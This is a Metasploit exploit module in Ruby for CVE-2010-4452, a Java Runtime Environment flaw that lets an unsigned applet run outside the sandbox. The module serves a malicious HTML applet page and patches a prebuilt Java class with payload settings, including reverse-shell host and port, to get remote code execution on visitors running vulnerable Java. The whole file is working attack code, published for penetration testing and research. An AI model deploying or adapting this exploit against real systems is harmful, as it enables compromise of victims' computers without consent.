##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize( info = {} )
    super( update_info( info,
      'Name'          => 'Sun Java Applet2ClassLoader Remote Code Execution',
      'Description'   => %q{
          This module exploits a vulnerability in the Java Runtime Environment
        that allows an attacker to run an applet outside of the Java Sandbox. When
        an applet is invoked with:

        1. A "codebase" parameter that points at a trusted directory
        2. A "code" parameter that is a URL that does not contain any dots

        the applet will run outside of the sandbox.

        This vulnerability affects JRE prior to version 6 update 24.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'Frederic Hoguin', # Discovery, PoC
          'jduck'            # Metasploit module
        ],
      'References'    =>
        [
          [ 'CVE', '2010-4452' ],
          [ 'OSVDB', '71193' ],
          [ 'ZDI', '11-084' ],
          [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ]
        ],
      'Platform'      => [ 'java' ],
      'Payload'       =>
        {
          'Space' => 20480,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat' =>
            {
              'ConnectionType' => '-find'
            }
        },
      'Targets'       =>
        [
          # OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23
          # FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23
          [ 'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java',
            }
          ],

          # Native payloads aren't currently supported (only work with jar/war)
=begin
          [ 'Windows x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
            }
          ],
=end
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Feb 15 2011'
      ))

    register_options(
      [
        # This is the default for a 32-bit Windows install
        OptString.new('LIBPATH', [ false,  "The codebase path to use (privileged)",
          "C:\\Program Files\\java\\jre6\\lib\\ext"]),
      ])
  end

  def exploit
    path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR)
    @java_class = nil
    File.open(path, "rb") { |fd|
      @java_class = fd.read(fd.stat.size)
    }
    if not @java_class
      fail_with(Failure::Unknown, "Unable to load java class")
    end

    super
  end

  def on_request_uri(cli, request)
    #print_status("Received request: #{request.uri}")

    jpath = get_uri(cli)
    #print_status(jpath)

    # Do what get_uri does so that we can replace it in the string
    # This could proably use the Host header from the request
    host = Rex::Socket.source_address(cli.peerhost)
    host_num = Rex::Socket.addr_aton(host).unpack('N').first
    code_url = jpath.sub(host, host_num.to_s)

    codebase = "file:" + datastore['LIBPATH']

    config = "Spawn=2\nLPORT=#{datastore['LPORT']}\n"
    # The java payloads decide to be reverse if LHOST is set.
    config << "LHOST=#{datastore['LHOST']}\n" if datastore['PAYLOAD'] =~ /reverse/
    config_off = 0x10e

    cn_off = 0x2f76

    case request.uri

    when /\.class$/
      # NOTE: the payload for this module is implemented in the .class file directly.
      #
      # This is due to the following:
      # 1. The file must be a single .class file
      # 2. The class inside must derive from Applet
      #
      # As such, we do not use the traditional payload generation facilities.
      # However, we call the following so that bind payloads will properly
      # connect to the client instead of using RHOST
      p = regenerate_payload(cli)

      print_status("Sending .class file")

      cls = @java_class.dup
      cls[config_off,2] = [config.length].pack('n')
      cls[config_off+2,8] = config

      cn_off += (config.length - 8)  # the original length was 8 (CONFIGZZ)
      cls[cn_off,2] = [code_url.length].pack('n')
      cls[cn_off+2,7] = code_url

      #File.open('ughz.class', 'wb') { |fd| fd.write cls }

      send_response(cli, cls, { 'Content-Type' => "application/octet-stream" })
      handler(cli)

    else
      html = <<-EOS
<html>
<body>
<applet codebase="#{codebase}" code="#{code_url}" />
</body>
</html>
EOS
      print_status("Sending HTML")
      send_response_html(cli, html)
    end

  end
end
